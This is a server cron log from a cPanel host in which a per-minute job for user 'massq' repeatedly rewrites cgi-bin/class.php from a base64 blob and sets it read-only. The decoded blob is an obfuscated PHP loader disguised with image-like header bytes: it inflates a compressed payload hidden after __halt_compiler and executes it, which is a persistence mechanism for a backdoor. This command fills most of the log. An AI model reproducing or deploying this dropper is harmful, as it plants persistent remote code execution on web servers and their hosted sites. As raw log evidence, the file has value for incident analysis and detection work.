Sep  2 15:32:01 server CROND[18894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:33:01 server CROND[19283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:33:01 server CROND[19285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:33:01 server CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:34:01 server CROND[19665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:34:01 server CROND[19667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:34:01 server CROND[19666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:35:01 server CROND[20084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:35:01 server CROND[20086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:35:01 server CROND[20087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:35:01 server CROND[20095]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:35:01 server CROND[20096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:35:01 server CROND[20098]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:35:01 server CROND[20094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:35:01 server CROND[20097]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 15:35:01 server CROND[20099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:36:01 server CROND[21070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:36:01 server CROND[21071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:36:01 server CROND[21072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:37:02 server CROND[21454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:37:02 server CROND[21455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:37:02 server CROND[21456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:38:01 server CROND[21848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:38:01 server CROND[21849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:38:01 server CROND[21850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:39:01 server CROND[22279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:39:01 server CROND[22280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:39:01 server CROND[22281]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 15:39:01 server CROND[22282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:40:02 server CROND[22687]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:40:02 server CROND[22688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:40:02 server CROND[22690]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:40:02 server CROND[22691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:40:02 server CROND[22692]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:40:02 server CROND[22693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:40:02 server CROND[22695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:40:02 server CROND[22696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:41:01 server CROND[23685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:41:01 server CROND[23686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:41:01 server CROND[23687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:42:01 server CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:42:01 server CROND[24186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:42:01 server CROND[24192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:42:01 server CROND[24194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:43:01 server CROND[24567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:43:01 server CROND[24569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:43:01 server CROND[24568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:44:01 server CROND[24966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
